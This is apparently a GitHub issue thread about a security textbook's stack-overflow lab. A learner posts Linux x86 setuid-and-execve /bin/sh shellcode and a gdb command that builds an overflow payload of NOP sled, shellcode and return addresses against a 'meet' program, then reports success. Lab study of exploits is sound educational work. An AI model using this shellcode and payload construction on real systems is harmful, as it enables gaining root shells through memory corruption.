Lab 11-3 Exploiting Stack Overflows from the Command line

[MrPineMan]

Hi, First of all thanks for the awesome book with the even nicer content!

I'm stuck for 1 month now, hopefully you can help me further to see what i'm doing wrong.
During lab 11-3 the calculated shellcode size returns 53 instant of 59 what is given in the book.
perl -e ‘print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";’ > sc

This isn't a big deal because it should still work. I've readed the text carefull multiple times and also readed the entire "for further reading" pages. From different calculation with the NOP sled till brute forcing the amount of Nop sled bytes (yep I'm de desperate :) ) it didn't worked out. I even tryed little endian as well as big endian haha...

Im using a 32-bit kali machine with of course ASLR disbled.
The following address is used as the repeating return address: 0x0ffff3fc which is \xfc\xf3\xff\xff\x0f in little endian

My calculation looks like: (412 bytes – 200 bytes of NOP – 53 bytes of shellcode) / 4 bytes of Addresses = 39.75. I changed it to 39 bytes, and increased the NOP from 200 till 203 which brought me to a total sum of 412.

gdb output shows a strlen error?: gdb -q --args ./meet Vincent perl -e 'print "\x90"x203 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xfc\xf3\xff\xff\x0f'``

If you need some additional information to help me further let me know. I'm already happy with a example exploit which recently worked, where I can break it down in pieces to see the differences.

Thanks in advance!

[MrPineMan]

I've got it working 🥇 Instead of the VMware edition from kali.org I installed the 32bit version manually. Further more I added an account using the UI instant of the useradd -m command which adds the homefolders etc. This shouldn't change anything, so I think I just did something wrong. 👍

Thanks anyways. #

This issue can be closed.

[harperaa]

Thanks and I am glad you are enjoying book. Allen Harper

…

On Sep 26, 2018, at 5:27 AM, Labzz ***@***.***> wrote: I've got it working 🥇 Instead of the VMware edition from kali.org I installed the 32bit version manually. Further more I added an account using the UI instant of the useradd-m command which adds the homefolders etc. This shouldn't change anything, so I think I just did something wrong. 👍 Thanks anyways. # This issue can be closed. — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub, or mute the thread.